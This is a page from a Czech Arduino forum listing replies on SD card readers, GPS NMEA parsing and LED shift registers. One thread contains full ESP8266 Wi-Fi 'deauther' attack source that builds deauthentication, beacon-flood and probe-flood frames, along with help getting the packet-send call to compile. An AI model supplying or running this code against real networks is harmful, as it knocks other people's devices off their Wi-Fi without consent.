rteppp
Vytvořené odpovědi
-
AutorPříspěvky
-
Zbyšek Voda
ÚčastníkTak zkuste ještě wifi_send_pkt_freedom((uint8_t**)&packet, packetSize, 0)
nonosh
ÚčastníkTady popř. celý projekt … https://github.com/spacehuhn/esp8266_deauther
nonosh
ÚčastníkPo přidání & dostavám : cannot convert ‚uint8_t (*)[128] {aka unsigned char (*)[128]}‘ to ‚uint8** {aka unsigned char**}‘ for argument ‚1‘ to ‚int wifi_send_pkt_freedom(uint8**, int, bool)‘
Upřímně tomu nějak nerozumím a jsem z toho nemocný … přikládám kód :
#include „Attack.h“Attack::Attack() {
randomSeed(os_random());
}void Attack::generate() {
if (debug) Serial.print(„\n generating MACs…“);Mac _randomBeaconMac;
uint8_t _randomMacBuffer[6];
beaconAdrs._clear();for (int i = 0; i < macListLen; i++) channels[i] = random(1, maxChannel);
do {
getRandomVendorMac(_randomMacBuffer);
for (int i = 0; i < 6; i++) _randomBeaconMac.setAt(_randomMacBuffer[i], i);
} while (beaconAdrs.add(_randomBeaconMac) >= 0);
if (debug) Serial.println(„done“);
}void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason) {
packetSize = 0;
for (int i = 0; i < sizeof(deauthPacket); i++) {
packet[i] = deauthPacket[i];
packetSize++;
}for (int i = 0; i < 6; i++) {
//set target (client)
packet[4 + i] = _client._get(i);
//set source (AP)
packet[10 + i] = packet[16 + i] = _ap._get(i);
}//set type
packet[0] = type;
packet[24] = reason;
}void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt) {
packetSize = 0;
int ssidLen = _ssid.length();
if (ssidLen > 32) ssidLen = 32;for (int i = 0; i < sizeof(beaconPacket_header); i++) {
packet[i] = beaconPacket_header[i];
packetSize++;
}for (int i = 0; i < 6; i++) {
//set source (AP)
packet[10 + i] = packet[16 + i] = _ap._get(i);
}packet[packetSize] = 0x00;
packetSize++;
packet[packetSize] = ssidLen;
packetSize++;for (int i = 0; i < ssidLen; i++) {
packet[packetSize] = _ssid[i];
packetSize++;
}for (int i = 0; i < sizeof(beaconPacket_end); i++) {
packet[packetSize] = beaconPacket_end[i];
packetSize++;
}packet[packetSize] = _ch;
packetSize++;if (encrypt) {
for (int i = 0; i < sizeof(beaconWPA2tag); i++) {
packet[packetSize] = beaconWPA2tag[i];
packetSize++;
}
}}
void Attack::buildProbe(String _ssid, Mac _mac) {
int len = _ssid.length();
if (len > 32) len = 32;
packetSize = 0;for (int i = 0; i < sizeof(probePacket); i++) packet[packetSize + i] = probePacket[i];
packetSize += sizeof(probePacket);for (int i = 0; i < 6; i++) packet[10 + i] = _mac._get(i);
packet[packetSize] = len;
packetSize++;for (int i = 0; i < len; i++) packet[packetSize + i] = _ssid[i];
packetSize += len;}
bool Attack::send() {
if (wifi_send_pkt_freedom(&packet, packetSize, 0) == -1) {
/*
if(debug){
Serial.print(packetSize);
Serial.print(“ : „);
PrintHex8(packet, packetSize);
Serial.println(„“);
}
*/
return false;
}
delay(1); //less packets are beeing dropped
return true;
}void Attack::sendDeauths(Mac from, Mac to){
for(int i=0;i<settings.attackPacketRate;i++){
buildDeauth(from, to, 0xc0, settings.deauthReason );
if(send()) packetsCounter[0]++;
buildDeauth(from, to, 0xa0, settings.deauthReason );
send();
buildDeauth(to, from, 0xc0, settings.deauthReason );
send();
buildDeauth(to, from, 0xa0, settings.deauthReason );
send();
delay(5);
}
}void Attack::run() {
unsigned long currentMillis = millis();/* =============== Deauth Attack =============== */
if (isRunning[0] && currentMillis – prevTime[0] >= 1000) {
if (debug) Serial.print(„running “ + (String)attackNames[0] + “ attack…“);
prevTime[0] = millis();for (int a = 0; a < apScan.results; a++) {
if (apScan.isSelected(a)) {
Mac _ap;
int _ch = apScan.getAPChannel(a);
_ap.setMac(apScan.aps._get(a));wifi_set_channel(_ch);
int _selectedClients = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
_selectedClients++;
/*if (settings.channelHop) {
for (int j = 1; j < maxChannel; j++) {
wifi_set_channel(j);buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
if (send()) packetsCounter[0]++;buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
if (send()) packetsCounter[0]++;
}
} else {*/
sendDeauths(_ap, clientScan.getClientMac(i));
//}
}
}if (_selectedClients == 0) {
Mac _client;
_client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
sendDeauths(_ap, _client);
}}
}stati[0] = (String)packetsCounter[0] + „pkts/s“;
packetsCounter[0] = 0;
if (debug) Serial.println(“ done“);
if (settings.attackTimeout > 0) {
attackTimeoutCounter[0]++;
if (attackTimeoutCounter[0] > settings.attackTimeout) stop(0);
}
}/* =============== Beacon list Attack =============== */
if (isRunning[1] && currentMillis – prevTime[1] >= 100) {
if (debug) Serial.print(„running “ + (String)attackNames[1] + “ attack…“);
prevTime[1] = millis();for (int a = 0; a < ssidList.len; a++) {
String _ssid = ssidList.get(a);
int _ch = channels[a];buildBeacon(beaconAdrs._get(a), _ssid, _ch, settings.attackEncrypted);
if (send()) packetsCounter[1]++;
}stati[1] = (String)(packetsCounter[1] * 10) + „pkts/s“;
packetsCounter[1] = 0;
macListChangeCounter++;
if (macListChangeCounter / 10 >= macChangeInterval && macChangeInterval > 0) {
generate();
macListChangeCounter = 0;
}
if (debug) Serial.println(“ done“);
if (settings.attackTimeout > 0) {
attackTimeoutCounter[1]++;
if (attackTimeoutCounter[1] / 10 > settings.attackTimeout) stop(1);
}
}/* =============== Probe Request Attack =============== */
if (isRunning[2] && currentMillis – prevTime[2] >= 1000) {
if (debug) Serial.print(„running “ + (String)attackNames[2] + “ attack…“);
prevTime[2] = millis();for (int a = 0; a < ssidList.len; a++) {
buildProbe(ssidList.get(a), beaconAdrs._get(a));
if (send()) packetsCounter[2]++;
}stati[2] = (String)(packetsCounter[2] * 10) + „pkts/s“;
packetsCounter[2] = 0;
macListChangeCounter++;
if (macListChangeCounter >= macChangeInterval && macChangeInterval > 0) {
generate();
macListChangeCounter = 0;
}
if (debug) Serial.println(„done“);
if (settings.attackTimeout > 0) {
attackTimeoutCounter[2]++;
if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2);
}
}}
void Attack::start(int num) {
Serial.println(num);
if(!isRunning[num]) {
Serial.println(num);
isRunning[num] = true;
stati[num] = „starting“;
prevTime[num] = millis();_log(num);
attackTimeoutCounter[num] = 0;
refreshLed();
if (debug) Serial.println(„starting “ + (String)attackNames[num] + “ attack…“);
if (num == 0) attackMode = „STOP“;
for (int i = 0; i < attacksNum; i++){
if(i != num) stop(i);
}
}else stop(num);
}void Attack::stop(int num) {
if (isRunning[num]) {
if (debug) Serial.println(„stopping “ + (String)attackNames[num] + “ attack…“);
if (num == 0) attackMode = „START“;
isRunning[num] = false;
stati[num] = „ready“;
prevTime[num] = millis();
refreshLed();
}
}void Attack::stopAll() {
for (int i = 0; i < attacksNum; i++) stop(i);
}void Attack::_log(int num){
openLog();
addLog((String)attackNames[num]);
for(int a=0;a<apScan.results;a++){
if(apScan.isSelected(a)){
Mac _ap;
_ap.setMac(apScan.aps._get(a));
addLog(_ap.toString());
}
}
addLog(„-„);
for(int i=0;i<clientScan.results; i++) {
if(clientScan.getClientSelected(i)) {
addLog(clientScan.getClientMac(i).toString());
}
}
closeLog();
}size_t Attack::getSize(){
size_t jsonSize = 0;String json = „{\“aps\“:[„;
int _selected = 0;
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
json += „\““ + apScan.getAPName(i) + „\“,“;
_selected++;
}
}
if (_selected > 0) json.remove(json.length() – 1);jsonSize += json.length();
json = „],\“clients\“:[„;
_selected = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
json += „\““ + clientScan.getClientMac(i).toString() + “ “ + clientScan.getClientVendor(i) + “ – “ + clientScan.getClientName(i) + „\“,“;
_selected++;
}
}
if (_selected == 0) json += „\“FF:FF:FF:FF:FF:FF – BROADCAST\““;
else json.remove(json.length() – 1);jsonSize += json.length();
json = „],\“attacks\“:[„;
for (int i = 0; i < attacksNum; i++) {
json += „{„;
json += „\“name\“:\““ + attackNames[i] + „\“,“;
json += „\“status\“:\““ + stati[i] + „\“,“;
json += „\“running\“:“ + (String)isRunning[i] + „“;
json += „}“;
if (i != attacksNum – 1) json += „,“;
}
json += „],“;
jsonSize += json.length();json = „\“ssid\“:[„;
jsonSize += json.length();
for (int i = 0; i < ssidList.len; i++) {
json = „\““ + ssidList.get(i) + „\““;
if (i != ssidList.len – 1) json += „,“;
jsonSize += json.length();
}json = „]}“;
jsonSize += json.length();return jsonSize;
}void Attack::sendResults(){
size_t _size = getSize();
if (debug) Serial.print(„getting attacks JSON („+(String)_size+“)…“);
sendHeader(200, „text/json“, _size);String json = „{\“aps\“:[„;
int _selected = 0;
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
json += „\““ + apScan.getAPName(i) + „\“,“;
_selected++;
}
}
if (_selected > 0) json.remove(json.length() – 1);
sendToBuffer(json);json = „],\“clients\“:[„;
_selected = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
json += „\““ + clientScan.getClientMac(i).toString() + “ “ + clientScan.getClientVendor(i) + “ – “ + clientScan.getClientName(i) + „\“,“;
_selected++;
}
}
if (_selected == 0) json += „\“FF:FF:FF:FF:FF:FF – BROADCAST\““;
else json.remove(json.length() – 1);sendToBuffer(json);
json = „],\“attacks\“:[„;
for (int i = 0; i < attacksNum; i++) {
json += „{„;
json += „\“name\“:\““ + attackNames[i] + „\“,“;
json += „\“status\“:\““ + stati[i] + „\“,“;
json += „\“running\“:“ + (String)isRunning[i] + „“;
json += „}“;
if (i != attacksNum – 1) json += „,“;
}
json += „],\“ssid\“:[„;
sendToBuffer(json);for (int i = 0; i < ssidList.len; i++) {
json = „\““ + ssidList.get(i) + „\““;
if (i != ssidList.len – 1) json += „,“;
sendToBuffer(json);
}
json = „]}“;
sendToBuffer(json);sendBuffer();
if (debug) Serial.println(„done“);
}void Attack::refreshLed() {
int numberRunning = 0;
for (int i = 0; i < sizeof(isRunning); i++) {
if (isRunning[i]) numberRunning++;
//if(debug) Serial.println(numberRunning);
}
if (numberRunning >= 1 && settings.useLed) {
if (debug) Serial.println(„Attack LED : ON“);
digitalWrite(2, LOW);
}
else if (numberRunning == 0 || !settings.useLed) {
if (debug) Serial.println(„Attack LED : OFF“);
digitalWrite(2, HIGH);
}
}Zbyšek Voda
ÚčastníkPoužíváte funkci int wifi_send_pkt_freedom(uint8**, int, bool);
Tato funkce má první parametr ukazatel na ukazatel na uint8. Popřípadě se dá také interpretovat jako pole ukazatelů na hodnoty typu uint8, nebo ukazatel na pole (což asi je případ, který potřebujete).Vy ale této funkci předáváte jenom pole, ale ne ukazatel na pole.
Řekněme, že máte něco jako:byte data[] = {1, 2, 3, 4, ...}; wifi_send_pkt_freedom(data, x, y);
Místo data zkuste zapsat &data, tedy:
wifi_send_pkt_freedom(&data, x, y);
Znak ampersand (&) značí, že chcete získat adresu dané proměnné. Ukazatele jsou vlastně adresy.
Většinou stačí přeložit hlášku:
cannot convert ‘uint8_t* {aka unsigned char*}’ to ‘uint8** {aka unsigned char**}’ for argument ‘1’ to ‘int wifi_send_pkt_freedom(uint8**, int, bool)’
můžete číst jako
Nejde převést uint8_t* na uint8** v prvním argumentu funkce wifi_send_pkt_freedom(uint8**, int, bool)
uint8_t* = ukazatel na typ uint8_t / pole uint8
uint8_t** = ukazatel na ukazatel na uint8_t / pole ukazatelů na uint8_t / ukazatel na pole uint8_tPokud to nepůjde, pošlete sem kód 🙂
Axamith
ÚčastníkDíky, testnu to. Ale myslím, že problém bude s modulem. Zkoušel jsem jak na UNO, tak na Wemos a Pro mini a vždy se stejným výsledkem. Originální příklady k SD modulu. takže objednám nový modul a uvidíme.
posjirka
Účastníkona je opravdu otázka jak to je zapojeno …. ať tady nehoníte duchy 🙂
ps. omezil bych ty 2 pole za 1 hodnotu BYTE se smyčkou FOR pro naplnění log.1/0RomanB
ÚčastníkJeště vyzkoušej test pinů 10-13 jestli jsou OK. Viz https://bastlirna.hwkitchen.cz/i-zaklady-2-bliknuti-led/ s tím, že ti bude stačit ta jedna LEDka a ty ji jenom přepojíš na další piny. A pin 12 bych ještě otestoval jako vstup. Pokud bude vše OK, tak to vypadá na mrtvou čtečku.
/*
Blikání
LED na sekundu zasvítí a pak zase na sekundu zhasne. Opakovaně.
*/// Pin 13 je na většině Arduino deskách spojen s LED
int led1 = 10;
int led2 = 11;
int led3 = 12;
int led4 = 13;void setup() {
// nastavení pinu na Output
pinMode(led1, OUTPUT);
pinMode(led2, OUTPUT);
pinMode(led3, OUTPUT);
pinMode(led4, OUTPUT);
}// opakujici se smyčka
void loop() {
digitalWrite(led1, HIGH); //zapnutí led
digitalWrite(led2, HIGH);
digitalWrite(led3, HIGH);
digitalWrite(led4, HIGH);delay(1000); // po dobu jedné sekundy
digitalWrite(led1, LOW); // vypnuti LED
digitalWrite(led2, LOW);
digitalWrite(led3, LOW);
digitalWrite(led4, LOW);delay(1000); // po dobu jedné sekundy
}Vojtěch Vosáhlo
ÚčastníkZdravím, kouknu na to zas co nejdřív, akorát mám teď hodně práce. Jen aby jste věděl že jsem nezapoměl ?
Axamith
ÚčastníkAbych minimalizoval problémy s různým pochopením HW a SW, omezil jsem testování na UNO a originální příklady ke knihovně. UNO, napájené přes USB, SD modul připojen na GND a 5V,
CS – PIN 10
MOSI – PIN 11
MISO – PIN 12
SCK – PIN 13Kartu 4 GB jsem naformátoval pomocí SD Card Formatter, nastavení :
Format type – Full (OverWrite) // i když by stačilo QUICK
Format size adjustment – OFFSketch dle příkladu z knihovky SD – CardInfo:
/*
SD card testThis example shows how use the utility libraries on which the‘
SD library is based in order to get info about your SD card.
Very useful for testing a card when you’re not sure whether its working or not.The circuit:
* SD card attached to SPI bus as follows:
** MOSI – pin 11 on Arduino Uno/Duemilanove/Diecimila
** MISO – pin 12 on Arduino Uno/Duemilanove/Diecimila
** CLK – pin 13 on Arduino Uno/Duemilanove/Diecimila
** CS – depends on your SD card shield or module.
Pin 4 used here for consistency with other Arduino examplescreated 28 Mar 2011
by Limor Fried
modified 9 Apr 2012
by Tom Igoe
*/
// include the SD library:
#include <SPI.h>
#include <SD.h>// set up variables using the SD utility library functions:
Sd2Card card;
SdVolume volume;
SdFile root;// change this to match your SD shield or module;
// Arduino Ethernet shield: pin 4
// Adafruit SD shields and modules: pin 10
// Sparkfun SD shield: pin 8
// MKRZero SD: SDCARD_SS_PIN
const int chipSelect = 10;void setup() {
// Open serial communications and wait for port to open:
Serial.begin(9600);
while (!Serial) {
; // wait for serial port to connect. Needed for native USB port only
}Serial.print(„\nInitializing SD card…“);
// we’ll use the initialization code from the utility libraries
// since we’re just testing if the card is working!
if (!card.init(SPI_HALF_SPEED, chipSelect)) {
Serial.println(„initialization failed. Things to check:“);
Serial.println(„* is a card inserted?“);
Serial.println(„* is your wiring correct?“);
Serial.println(„* did you change the chipSelect pin to match your shield or module?“);
return;
} else {
Serial.println(„Wiring is correct and a card is present.“);
}// print the type of card
Serial.print(„\nCard type: „);
switch (card.type()) {
case SD_CARD_TYPE_SD1:
Serial.println(„SD1“);
break;
case SD_CARD_TYPE_SD2:
Serial.println(„SD2“);
break;
case SD_CARD_TYPE_SDHC:
Serial.println(„SDHC“);
break;
default:
Serial.println(„Unknown“);
}// Now we will try to open the ‚volume’/’partition‘ – it should be FAT16 or FAT32
if (!volume.init(card)) {
Serial.println(„Could not find FAT16/FAT32 partition.\nMake sure you’ve formatted the card“);
return;
}// print the type and size of the first FAT-type volume
uint32_t volumesize;
Serial.print(„\nVolume type is FAT“);
Serial.println(volume.fatType(), DEC);
Serial.println();volumesize = volume.blocksPerCluster(); // clusters are collections of blocks
volumesize *= volume.clusterCount(); // we’ll have a lot of clusters
volumesize *= 512; // SD card blocks are always 512 bytes
Serial.print(„Volume size (bytes): „);
Serial.println(volumesize);
Serial.print(„Volume size (Kbytes): „);
volumesize /= 1024;
Serial.println(volumesize);
Serial.print(„Volume size (Mbytes): „);
volumesize /= 1024;
Serial.println(volumesize);Serial.println(„\nFiles found on the card (name, date and size in bytes): „);
root.openRoot(volume);// list all files in the card with date and size
root.ls(LS_R | LS_DATE | LS_SIZE);
}void loop(void) {
}
a výsledek:
Initializing SD card…initialization failed. Things to check:
* is a card inserted?
* is your wiring correct?
* did you change the chipSelect pin to match your shield or module?Pro klid duše jsem dal i nové propojovací kabely, vyzkoušel SS piny č. 4, 8, 10 (i když u UNA je jasné, že 4 a 8 je blbost), opět bez výsledku. Taková kravina jako SD karta a co já na tom strávil času … a bez výsledku.
RomanB
ÚčastníkJá vlastním Ethernet s SD a tam je použit pin 4. U tebe samozřejmě je možnost volby zapíchnutím drátku. Vyzkoušej také skeč z Arduina IDE, je tam v příkladěch pod SD. Je to vlastně to stejné jako ty zde cituješ, ale akorát je to počeštěno. Jediné co je špatně je:
// nastavte správně
// Arduino Ethernet shield: pin 4 – náš případ
// Adafruit SD shields and modules: pin 10
// Sparkfun SD shield: pin 8
const int chipSelect = SS;Má být const int chipSelect = 4; nebo jiný tebou použitý pin.
Zároveň zachovej a definuj tento pin v setupu
Serial.print(“\nInicializace SD karty…”);
pinMode(4, OUTPUT);A jaké používáš napětí? 5V nebo 3,3V
Axamith
ÚčastníkAhoj, mám čtečku Micro SD.
Použil jsem krom jiných tuto sketch:
// created 28 Mar 2011
// by Limor Fried
// modified 9 Apr 2012
// by Tom Igoe
// modifed 23.3.2013
// by Pavel Putna#include <SD.h>
// nastaví proměné pro info karty
Sd2Card card;
SdVolume volume;
SdFile root;// nastavte správně
// Arduino Ethernet shield: pin 4 – náš případ
// Adafruit SD shields and modules: pin 10
// Sparkfun SD shield: pin 8
const int chipSelect = SS;void setup()
{
Serial.begin(9600);Serial.print(„\nInicializace SD karty…“);
pinMode(4, OUTPUT);// inicializace
if (!card.init(SPI_HALF_SPEED, chipSelect)) {
Serial.println(„\nPametova karta nebyla detekovana“);
return;
} else {
Serial.println(„\nPametova karta nalezena.“);
}// Určí typ karty
Serial.print(„\nTyp karty: „);
switch(card.type()) {
case SD_CARD_TYPE_SD1:
Serial.println(„SD1“);
break;
case SD_CARD_TYPE_SD2:
Serial.println(„SD2“);
break;
case SD_CARD_TYPE_SDHC:
Serial.println(„SDHC“);
break;
default:
Serial.println(„Neznama“);
}// Now we will try to open the ‚volume’/’partition‘ – it should be FAT16 or FAT32
if (!volume.init(card)) {
Serial.println(„System souboru FAT16/FAT32 nenalezen.\nZkuste naformatovat kartu“);
return;
}// print the type and size of the first FAT-type volume
uint32_t volumesize;
Serial.print(„\nVolume type is FAT“);
Serial.println(volume.fatType(), DEC);
Serial.println();volumesize = volume.blocksPerCluster(); // clusters are collections of blocks
volumesize *= volume.clusterCount(); // we’ll have a lot of clusters
volumesize *= 512; // SD card blocks are always 512 bytes
Serial.print(„Volume size (bytes): „);
Serial.println(volumesize);
Serial.print(„Volume size (Kbytes): „);
volumesize /= 1024;
Serial.println(volumesize);
Serial.print(„Volume size (Mbytes): „);
volumesize /= 1024;
Serial.println(volumesize);Serial.println(„\nNalezene soubory na karte (nazev, datum a velikost v bajtech): „);
root.openRoot(volume);// list all files in the card with date and size
root.ls(LS_R | LS_DATE | LS_SIZE);
}void loop(void) {
}Čtečku jsem zkoušel jak na Pro mini, tak na UNO a Wemos D1. Vím, že je třeba definovat vstup na Arduinu pinu. Volba 4, 8, 10 (dle Arduina). NIC nejede, ani volba SS. Nebo spíš ji detekuje, nenajde FAT a veškeré pokusy s kartou z příkladů z knihoven nejedou, respektive s kartou nekomunikují. Koupil jsem i novou kartu, pro klid duše, pořád bez výsledků. Buď kartu nedetekuje, nebo ji detekuje a nerozpozná FAT16/32
RomanB
ÚčastníkTaké zdravím, jakou máš desku se čtečkou a použil jsi jenom program pro komunikaci s SD kartou?
posjirka
Účastníkpresne tak … z arduina se bere pouze maly proud pro sepnuti magnetu. podle popisu ma unest 1kg coz neni malo. jsi si jisty ze to co jsi chtel zvednout je zelezo a ne nejaka hlinikova slitina?
michal123
ÚčastníkDObrý večer,
nejspíš jsem nepochopil tu 1s pauzu.
Kód funguje pro blink ale už ne pro blink na jiných pinech. Když jsem se na komunikaci kouknul osciloskopem tak jsem zjistil, že arduino když nahrává tak 20,5ms čeká, pošle řídící kód, pak 16ms čeká a pak nahraje stránku a tak to opakuje. (ještě to pak všechno zpětně ověří)
Ale když se podívám na naše data tak, rídících kódů je tam zdáse víc (nevím co arduino neposílá nebo kde nečeká protože z toho nevyluštím konkrétní hodnoty.(případně pošlu nějaké obrázky), časem snad postavím další (arduino) pro paraelní čtení komunikace.petouf
ÚčastníkTak zase o krůček 🙂
Nedošlo mi (ale kolegovi naštěstí ano) že COM na PC používá drobet jiné úrovně, než Arduino. Asi bude potřeba převodník RS232-TTL Ten budu mít příští týden, tak dám vědět 🙂Zbyšek Voda
ÚčastníkNa úvodní stránce je formulář, kam dáte email a přijde vám kniha.
chevy.us
ÚčastníkZdravím.
Prosím jak se dostanu k odkazu na stažení e-knihy?
Na webu jsem to nikde nenašel. Pouze na domovské stránce info o této možnosti.
Díky předem za čas.petouf
ÚčastníkTak jo, opět o krůček vepředu. Přečetl jsem, co vysílá modul SKM53.
vysílá toto:
$GPGGA,055929.553,5003.5766,N,01430.6436,E,1,6,1.34,309.1,M,45.4,M,,*56
$GPGSA,A,3,02,05,07,09,16,30,,,,,,,1.61,1.34,0.89*0E
$GPGSV,3,1,10,07,71,079,28,30,60,203,34,05,46,299,37,09,45,089,26*70
$GPGSV,3,2,10,37,32,170,,02,25,250,30,13,11,272,,16,10,027,24*7B
$GPGSV,3,3,10,06,08,208,,28,08,163,*7A
$GPRMC,055929.553,A,5003.5766,N,01430.6436,E,0.36,99.88,260417,,,A*59Pak jsem přečetl, co mi vysílá simulátor na COM1 a vypadlo z něho toto:
[}ĹeMťť§ť§ź—§źť§źź§źźź§źź§ź›§źź§źźź§źź§ź™§źź§źźź§źź§ź—§źź§źźź§źź«‘Ťĺë
Tak už rozumim tomu, proč mi tento signál Arduino nebere. Zatím nepomohlo ani experimentování s rychlostmi, čert ví, kde je problém. V zapojení COM? To snad ne, tam jsou jen 3 dráty. No budu bádat dál, třebas na něco přijdu 🙂RomanB
Účastníkint latchPin = 4; int clockPin = 5; int dataPin = 6; int vstup = 7; //pridal jsem si vstup jako podminku int index=0; byte data[] = { B10000000, B11000000, B11100000, B11110000, B11111000, B11111100, B11111110, B11111111, }; byte data2[1] = { B11111111, }; unsigned long staryMillis = 0; const long interval = 800; unsigned long novyMillis = millis(); void setup() { Serial.begin(9600); pinMode(latchPin, OUTPUT); pinMode(clockPin, OUTPUT); pinMode(dataPin, OUTPUT); pinMode(vstup, INPUT_PULLUP); } void loop() { boolean podminka = digitalRead(vstup); //********************************************************************** unsigned long novyMillis = millis(); if (novyMillis - staryMillis >= interval && podminka==0) { staryMillis = novyMillis; digitalWrite(latchPin, LOW); shiftOut(dataPin, clockPin, MSBFIRST, data[index]); if (index > 6) { shiftOut(dataPin, clockPin, MSBFIRST, data[7]); index = 7; } digitalWrite(latchPin, HIGH); Serial.println(index); //Serial.println(staryMillis); //Serial.println(novyMillis); index=index+1; } //********************************************************************** if (novyMillis - staryMillis >= interval && podminka==1) { staryMillis = novyMillis; index = 0; digitalWrite(latchPin, LOW); shiftOut(dataPin, clockPin, MSBFIRST, data2[index]); Serial.println(index); //Serial.println(staryMillis); //Serial.println(novyMillis); } //********************************************************************** }//konec smycky
Vyzkoušej toto. Jako podmínku jsem použil tlačítko: 0 je stlačeno.
Axamith
ÚčastníkKdyž jsem na Wemos zapojil výstup z HX711 na A0 a D1, tak to nejelo. Samozřejmě jsem upravil zdroják. Musím to ještě vyzkoušet. Nejlépe na UNo (kde vím, že to jede) přehodit vstup na D1, D2 a uvidím, co mi to vysype.
Jindra
ÚčastníkPokud tam nebude funkce delay() tak ty ledky blikaji tak rychle, ze to oko ani nezaregistruje. Myslel jsem ze loop() za jedno kolo odela posun na registru o jeden byt. To znamena ze za jedno kolo s funkci delay() rosviti jednu ledku podle pole data[] a pak prave ceka 200ms. Slo by to vyresit millis()?
EDIT: ne byt, ale bit
BlindP
ÚčastníkTebe zajímá jen gprmc, ty vety vypaji takto:
$GPRMC,123519,A,4807.038,N,01131.000,E,022.4,084.4,230394,003.1,W*6A
RMC,hhmmss,A,Latitude,N,Longitude,E,knots,angle,ddmmyy,Magnetic Variation,check
rychlost komunikace 9600, nekde byva 4800petouf
ÚčastníkNo, paráda, stačilo „nakopnout“ 🙂
Nakonec jsem našel GpsSimul – to je skoro přesně, co jsem potřeboval. Zadáš si rychlost a směr a už to vysílá data. Bohužel to nějak nemohu rozchodit. Arduino sice přijímá znaky, žel poloha, rychlost a tak se mi neukazuje. Je tam několik nastavení, pokoušel jsem se nastavit všechny kombinace a stále nic 🙁
vypnu-li $GPRMC přestane komunikovat úplně. Pak je tam k nastavení $GPGLL, $GPVTG, $PZDA, $GPGGA, $GPGSA.
Nastavení portu je předpokládám dobré, když to komunikuje. No, pokud bys o něčem věděl, co změnit… Budu studovat a experimentovat, třeba se podaří.
Ale moc díky za typ 🙂Vojtěch Vosáhlo
ÚčastníkJeště jsem zapoměl zmínit že jsou tam 2 programy. Kratší je blink v GCC s pauzou 100ms a delší je arduinovské Blink s pauzou 1s. Prostě si odkomentujte co potřebujete a nebo zkuste vlastní kód.
BlindP
ÚčastníkAhoj, na té desce je už tranzistor jako spínač, kdyby tam nebyl pin č. 2 by se odebral do křemíkového nebe 🙂 400mA se bere z napájení a ten žlutý slouží k ovládání – spíná tranzistor a ten pak spíná vlastní elektromagnet. Problém bych tam neviděl.
BlindP
ÚčastníkAhoj, podle rychlého hledání z toho lezou data ve formátu nmea – https://www.startpage.com/do/search?q=nmea+standard jestli chceš, někde bych měl mít uložený logy z lodi to bys mohl posílat z pc převodníkem do arduina, nebo si na zahradě nahrej vzorek do pc a pak zase posílat z pc zpět.
RomanB
ÚčastníkFunkce delay(200) tam je proto, protože void loop() je stále se opakující smyčka. Když se postupně rozsvítí všechny ledky, pak se čeká 200 ms a ledky se začnou znova rozsvěcet. Vůbec tam nemusí být.
Pro podmínku použij if (podminka==1 && index<7){a tady dej rutinu pro zobrazení}
else (podminka==0) {rutina pro zobrazení,ale s data2[1]
=B00000000 aby ti to zhaslo}RomanB
ÚčastníkVýstupy z HX711 sice jdou na piny UNA A0 A1, ale komunikace je binární. V kódu nikde nenalezneš funkci AnalogRead()…
Vojtěch Vosáhlo
ÚčastníkNic extra, prostě jen metoda pokus omyl. Vím že při malých datech to fungovalo ale když bylo dat víc, nevzalo arduino vše, tak jsem tipnul a vyšlo to ?
michal123
ÚčastníkDěkuji brzy ozkouším, jak jste na to přišel?
-
AutorPříspěvky